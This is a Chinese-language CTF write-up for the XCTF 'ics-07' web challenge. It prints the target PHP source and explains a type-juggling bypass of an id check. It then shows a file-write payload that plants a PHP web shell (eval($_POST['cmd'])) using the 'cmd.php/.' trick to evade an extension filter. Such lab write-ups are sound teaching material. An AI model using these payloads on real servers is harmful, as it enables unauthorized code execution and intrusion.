XCTF-ics-07

ics-07

  • 题目描述

    工控云管理系统项目管理页面解析漏洞

  • 解题过程

    进入项目管理页面,给了源码

    <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    
        <form action="#" method="get">
          page : <input type="text" name="page" value="">
          id : <input type="text" name="id" value="">
          <input type="submit" name="submit" value="submit">
        </form>
        <br />
        <a href="index.phps">view-source</a>
    <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
    ?>
    
    • 先看了下面的sql部分,要执行sql语句需要满足一些条件:

      • id转换为float后等于1
      • id的最后一位为9
      • 最后id要直接放到sql语句里,所以需要合法

      这个点涉及了php的类型转换漏洞,结合上面的条件构造:id=1--+9

      因为这里面有mysql_real_escape_string()函数,会在以下字符前添加反斜杠: *\x00*, *\n*, *\r*, *\*, *'*, *"* *\x1a*.

      查了一下可以宽字节绕过,但是尝试之后不起作用,暂时搁着往下看。

      查询成功后 $_SESSION['admin'] = True;,就可以使用上半部分读取文件的功能点了

      <?php
          if ($_SESSION['admin']) {
              $con = $_POST['con'];
              $file = $_POST['file'];
              $filename = "backup/".$file;
      
              if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
                  die("Bad file extension");
              }else{
                  chdir('uploaded');
                  $f = fopen($filename, 'w');
                  fwrite($f, $con);
                  fclose($f);
              }
          }
      ?>
      

      用post传入confile,会把con的内容写到/uploaded/backup/file里,但file的内容会被preg_match检查

      想起来preg_match的一个漏洞,在匹配结束后会转义unicode,把cmd.phpunicode编码再url编码,构造payload:

      con=<?php eval($_POST['cmd']); ?>&file=%26%2399%3B%26%23109%3B%26%23100%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B

      发现unicode没有被转义,自己搭了环境测试,是可行的,看来是版本原因

      再想想办法,把正则表达式放到可视化网站里看了下,这里的后缀匹配方式是最后一个点后面的内容

      尝试con=<?php eval($_POST['cmd']); ?>&file=cmd.php/.

      还是传不了,就xx离谱,去看了n多write up,都是这么做的,感觉是burp的问题

      换firefox试了一下,是可以的?问号脸(为啥burp不行呢,我检查了sessionID是一样的,url/格式也没问题,请求方式也改了)

      连蚁剑,拿flag

posted @ 2020-06-08 14:14  R3col  阅读(262)  评论(0编辑  收藏  举报